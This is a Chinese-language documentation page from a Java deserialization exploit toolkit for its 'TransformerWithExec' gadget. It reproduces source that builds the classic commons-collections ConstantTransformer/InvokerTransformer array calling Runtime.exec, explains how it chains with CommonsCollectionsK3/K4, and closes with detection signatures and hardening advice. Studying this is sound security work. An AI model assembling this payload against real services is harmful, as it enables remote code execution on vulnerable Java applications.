Skip to content

Latest commit

 

History

History
146 lines (108 loc) · 11.6 KB

File metadata and controls

146 lines (108 loc) · 11.6 KB

执行指定的系统命令(TransformerWithExec)

  • 类别:javanative 别名:(无) 优先级:(未设定)
  • 作者:—
  • 依赖commons-collections <= 3.2.1 or commons-collections <= 4.0(即 commons-collections 3.x 全系或 commons-collections4 4.0)

作用

构造经典的 commons-collections「反射调用 Runtime.execTransformer[] 数组。该数组本身不是一个可反序列化的完整对象,而是链的最内层载荷(END sink):它把「拿到 Runtime 类 → 反射 getRuntime() → 反射 invoke() 得到 Runtime 实例 → 反射 exec(cmd) 执行命令」这一串动作固化为一组 ConstantTransformer / InvokerTransformer。上游的 CC 触发型 gadget(如 CommonsCollectionsK3 / CommonsCollectionsK4)会把这个数组塞入 ChainedTransformer.iTransformers,再由 LazyMap / TiedMapEntry 等触发点在反序列化时驱动整条 transform 调用,最终执行系统命令实现 RCE。

链接标签

  • 入口 tagsTransformerChainsEND
    • TransformerChains:表明本 gadget 是「Transformer 数组」这一环,能被任何声明 nextTags=TransformerChains 的上游 gadget 承接(即需要一个 Transformer[] 作为其内层载荷的 CC 触发器)。
    • END:本 gadget 是链尾 sink,自身直接产出最终载荷(Transformer[]),不再有更内层对象,因此其 invoke 不调用 chain.doCreate
  • 衔接 nextTags:(空)—— 作为 END,其后不再衔接其它 gadget。
  • excludes:(空)—— 无互斥标签。

源码剖析

载荷构造:getObject()

@Param(name="命令", description="eg: bash -c calc")
public String cmd = "bash -c calc";

public Object getObject() throws Exception {
    LinkedList<Object> transformers = new LinkedList<Object>();
    transformers.add(this.createConstantTransformer(Runtime.class));
    transformers.add(this.createInvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}));
    transformers.add(this.createInvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}));
    transformers.add(this.createInvokerTransformer("exec", new Class[]{String.class}, new String[]{this.cmd}));
    transformers.add(this.createConstantTransformer(1));
    return this.createTransformerArray(transformers);
}

这是 ysoserial 时代广为人知的 CC「Runtime.exec」反射五元组,逐元素解释(当上游 ChainedTransformer.transform(x) 依次执行时,前一个的输出成为后一个的输入):

  1. ConstantTransformer(Runtime.class):无视输入,恒定返回 java.lang.RuntimeClass 对象。作为整条链的初始值。
  2. InvokerTransformer("getMethod", {String, Class[]}, {"getRuntime", new Class[0]}):对上一步的 Runtime.class 反射调用 Class.getMethod("getRuntime"),取得 Runtime.getRuntime 这个 Method。之所以走 getMethod 而不直接 getRuntime,是因为 Runtime 的构造器私有、无法用 ConstantTransformer 直接实例化,只能层层反射绕过。
  3. InvokerTransformer("invoke", {Object, Object[]}, {null, new Object[0]}):对上一步得到的 Method 反射调用 Method.invoke(null),即执行 Runtime.getRuntime(),得到 Runtime 单例实例。
  4. InvokerTransformer("exec", {String}, {this.cmd}):对 Runtime 实例反射调用 exec(cmd)真正执行命令cmd@Param 注入的用户命令。
  5. ConstantTransformer(1):吞掉 exec 的返回值(Process),恒定返回 1。这是沿用 ysoserial 的收尾写法,给上游触发点(如 LazyMap.get 期望的 map value)一个无害的确定返回,避免因返回类型异常打断触发流程。

createTransformerArray 把这些元素装入一个元素类型为 Transformer 接口的原生数组(而非 Object[]),以匹配 ChainedTransformer 构造器/字段 iTransformersTransformer[] 声明——否则上游反射赋值时会因数组类型不符而失败。

版本自适应与反射建元:基类 AbstractTransformer

public void initClazz(String version) throws ClassNotFoundException {
    if (version.equals("3")) {
        this.transformerClazz          = Class.forName("org.apache.commons.collections.Transformer");
        this.constantTransformerClazz  = Class.forName("org.apache.commons.collections.functors.ConstantTransformer");
        this.invokerTransformerClazz   = Class.forName("org.apache.commons.collections.functors.InvokerTransformer");
        this.instantiateTransformer    = Class.forName("org.apache.commons.collections.functors.InstantiateTransformer");
    } else if (version.equals("4")) {
        this.transformerClazz          = Class.forName("org.apache.commons.collections4.Transformer");
        this.constantTransformerClazz  = Class.forName("org.apache.commons.collections4.functors.ConstantTransformer");
        this.invokerTransformerClazz   = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer");
        this.instantiateTransformer    = Class.forName("org.apache.commons.collections4.functors.InstantiateTransformer");
    } else {
        ThrowsUtil.throwGadgetException("CC " + version + " not found");
    }
}

public Object createConstantTransformer(Object args) throws Exception {
    return Reflections.newInstance(this.constantTransformerClazz.getName(), new Class[]{Object.class}, args);
}
public Object createInvokerTransformer(Object ... args) throws Exception {
    return Reflections.newInstance(this.invokerTransformerClazz.getName(), new Class[]{String.class, Class[].class, Object[].class}, args);
}
public Object createTransformerArray(LinkedList<Object> transformers) throws ClassNotFoundException {
    Object transformerArray = Array.newInstance(this.transformerClazz, transformers.size());
    for (int i = 0; i < transformers.size(); ++i) {
        Array.set(transformerArray, i, transformers.get(i));
    }
    return transformerArray;
}

要点:

  • 全程反射,无编译期依赖:基类通过 Class.forName + Reflections.newInstance 按字符串包名加载并实例化 CC 的 ConstantTransformer / InvokerTransformer。因此 getObject() 里的 createConstantTransformer / createInvokerTransformer 返回的是真实的 CC Transformer 对象(在 java-chains 构建进程中就地生成),序列化后即为目标端可识别的 CC 类实例。这也意味着构建端 classpath 需存在对应版本的 commons-collections。
  • CC3 / CC4 双命名空间兼容org.apache.commons.collections.*(3.x)与 org.apache.commons.collections4.*(4.0)包路径不同,initClazz 依据版本切换,使同一个 gadget 同时覆盖依赖声明中的「CC ≤ 3.2.1 或 CC ≤ 4.0」。

入口:invoke()

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    String version = context.getString(ContextTag.CC_VERSION);
    this.initClazz(version);
    return this.getObject();
}
  • GadgetContext 读取 CC_VERSION("3" 或 "4"),据此 initClazz 加载对应命名空间的类。该 version 值由上游 CC gadget 注入:例如 CommonsCollectionsK3invoke 中先 context.put(ContextTag.CC_VERSION, ContextTag.CC_VERSION_3),再 chain.doCreate(context) 递归调用到本 gadget,因此本 gadget 读取时 version 已就绪。
  • 作为 ENDinvoke 不调用 chain.doCreate —— 本 gadget 是链的最内层,直接把构造好的 Transformer[] 返回给上游包装。

参数(@Param)

字段 名称 说明 类型 默认值 可选值
cmd 命令 待执行的系统命令,形如 bash -c calcRuntime.exec 语义) String bash -c calc 无(自由文本)

注意:cmdRuntime.exec(String) 单参重载,Windows 与 *nix 的分词行为不同;执行复杂命令(管道、重定向)通常需显式包裹 bash -c ... / cmd /c ...

适用版本与原理要点

  • 依赖版本:commons-collections 3.x(≤ 3.2.1,含存在 InvokerTransformer 危险反射的历史版本)或 commons-collections4 4.0。CC 3.2.2 / 4.1+ 已对 InvokerTransformer 等 functor 加入反序列化开关(默认禁用),本 sink 单独不受此限(它构造的是对象,触发点在上游),但整条 CC 链在 3.2.2+/4.1+ 上的经典触发点多已失效。
  • 无需特定 JDK:本 sink 使用纯反射调用 Runtime.exec,不依赖 TemplatesImpl 字节码加载,因此不受 JDK 版本(如 17+ 的模块封装)限制,是 CC 环境下最通用、约束最少的 RCE 落点。
  • 触发依赖上游Transformer[] 本身不会自执行,必须由声明 nextTags=TransformerChains 的上游把它接入某个反序列化触发点(LazyMap.get / TiedMapEntry.hashCode / TransformingComparator.compare 等),链才闭合。

所属预设链

usedInChains 为空 —— 本 gadget 为自由构件,未被固定写入 51 条预设链的 steps。但它是 CC 命令执行族的标准 sink,可与以下上游按 TransformerChains 标签自由组合:

组合形如 [CommonsCollectionsK3, TransformerWithExec]:K3 产出 HashSet(外层),其内 ChainedTransformer.iTransformers 即本 gadget 的 Transformer[](内层 sink)。

关联

  • 上游(nextTags=TransformerChains 的承接者)CommonsCollectionsK3CommonsCollectionsK4
  • 同族 Transformer sink(同基类 AbstractTransformer,同为 TransformerChainsTransformerWithTemplatesImpl(走 TemplatesImpl 字节码,nextTags=TemplatesImplChain)、TransformerWithJNDInextTags=JdbcRowSetImplChain)、TransformerWithBcelTransformerWithJsTransformerWithSleep(探测/延时)、TransformerWithFileWriteTransformerWithMethodHandlesTransformerWithBytecode 类(nextTags=BytecodeConvertTag)等——本 sink 是其中「直接命令执行」的最简形态。

防御与检测

检测特征

  • 反序列化字节流中同时出现 org.apache.commons.collections(.4)?.functors.InvokerTransformerConstantTransformerChainedTransformer,配合触发点类 LazyMap / TiedMapEntry / TransformingComparator
  • 流内明文可见方法名字符串 getMethodgetRuntimeinvokeexec,以及命令文本(如 bash -c)——这是本 sink 的强特征串。
  • Java 序列化魔数 AC ED 00 05 开头且引用上述 CC functor 类,可作为 IDS/WAF 规则。

加固建议

  • 升级 commons-collections 至 3.2.2+ / 4.1+(默认关闭 InvokerTransformer 等 functor 的反序列化);能移除则移除该依赖。
  • 部署 JEP 290 反序列化过滤(ObjectInputFilter)或 SerialKiller / 类似黑白名单,禁止反序列化 org.apache.commons.collections*.functors.*
  • 从源头消除不受信数据的 Java 原生反序列化入口;确需反序列化则改用白名单式安全库。
  • 运行期以最小权限运行 JVM,限制其派生子进程能力(seccomp / 容器 no-new-privileges),降低 Runtime.exec 成功后的影响面。

参考:反编译源码 与基类 AbstractTransformer.java;机器可读元数据 index/gadgets.json